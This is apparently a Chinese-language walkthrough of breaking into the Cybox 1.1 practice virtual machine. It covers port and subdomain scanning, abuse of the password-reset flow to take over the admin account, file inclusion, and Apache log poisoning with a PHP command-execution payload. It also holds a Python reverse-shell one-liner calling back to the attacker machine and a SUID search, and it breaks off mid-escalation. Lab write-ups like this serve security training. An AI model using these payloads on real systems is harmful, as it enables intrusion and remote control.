Cybox1.1靶机渗透过程
准备环境
攻击机:WSL-Kali-Linux
目标靶机:Cybox1.1
平台:VMware Workstation 16.2
靶机为NAT模式
一、信息搜集
1.主机嗅探
靶机启动完成直线显示IP,靶机的IP为192.168.9.129

2.端口扫描
直接甩kali里面一把梭
nmap -A -p- 192.168.9.129

开放了以下端口
| 21 | FTP(文件传输协议) |
|---|---|
| 25 | SMTP(邮件传输协议) |
| 53 | domain(域名解析服务) |
| 80 | web(网页web服务) |
| 110 | POP3(邮局协议3) |
| 143 | IMAP(交互式邮件存取协议) |
| 443 | web(网页web服务,SSL安全加密协议) |
该靶机没开放22端口,意味着不能直接ssh连上去
3.访问其web页面

在主页最下边发现有个域名邮箱,推测可能需要子域名爆破
先进行网站目录爆破
dirsearch -u 192.168.9.129

并没有什么可以下手的地方
回到开始,发现页脚有个域名邮箱,尝试子域名爆破
gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt

尝试修改hosts文件,手动指向靶机

| IP | 域名 |
|---|---|
| 192.168.9.129 | cybox.company |
| 192.168.9.129 | dev.cybox.company |
| 192.168.9.129 | ftp.cybox.company |
| 192.168.9.129 | monitor.cybox.company |
| 192.168.9.129 | register.cybox.company |
| 192.168.9.129 | webmail.cybox.company |
一次访问各个页面,搜集可用信息
- 1.dev.cybox.company

是个phpinfo页面
- 2.ftp.cybox.company

是一个ftp页面,应该有文件传输功能,且需要验证用户名密码
- 3.monitor.cybox.company

是一个登录界面,下面两个连接分别跳转到注册和找回密码
- 4.register.cybox.company

- 5.webmail.cybox.company

是一个邮箱登录页面
二、漏洞挖掘
1.寻找程序漏洞
在http://monitor.cybox.company/register.php 随便注册一下

登录进去之后发现只是一个创建条目记录时间的功能,暂不清楚其作用

这里再测试一下admin用户是否存在

发现[email protected]已经存在
访问重置密码的界面

尝试在webmail页面登录进去,查看重置密码的邮件

发现无法登录进去,说明刚在在monitor页面注册账户并不互通,尝试在register页面注册同名账户

注册完成之后,下面提示用户名和密码都是qwe,返回webmail页面登录

再次发送重置密码的邮件

2.漏洞利用
打开bp抓包,对着连接进行修改,尝试越权修改admin账户的密码

将这里的qwe改为admin

然后放包,就提示密码修改成功

使用admin账户登入后台

发现有个Admin panel管理员控制面板

该网站正在施工。。。
查看该页面的源码

此处包含了一个styles.php页面,可能存在文件包含漏洞,尝试进行文件包含/etc/network/interface

文件包含测试成功,说明此处确实存在文件包含漏洞
可以利用apache日志来进行反弹shell,apache日志文件存放路径为/opt/bitnami/apache2/logs/access_log,利用文件包含漏洞可以先查看此日志文件

当访问ftp页面的时候,日志输出了请求

打开bp,刷新ftp页面,将User-Agent改成命令执行

改为<?php system($_GET['s']);?>

放包,然后就可以在文件包含的地方进行命令注入

3.反弹shell
直接将变量s赋值为反弹shell代码,反弹到kali上面,选用443端口的原因是靶机只部分端口有数据包出入,包括但不限于443端口
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.24.59.243',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

在kali上启动nc监听
nc -lvvp 443

成功拿到权限较低的shell
三、提权
1.查找可用提权文件
查找有s权限的文件,即以root权限执行进程的文件
find / -perm -u=s -type f 2>/dev/null

发现位于/opt下的registerlauncher文件,以str类型打开他它,直接cat会乱码,发现有个/opt/register

查看/opt/register文件




































































































































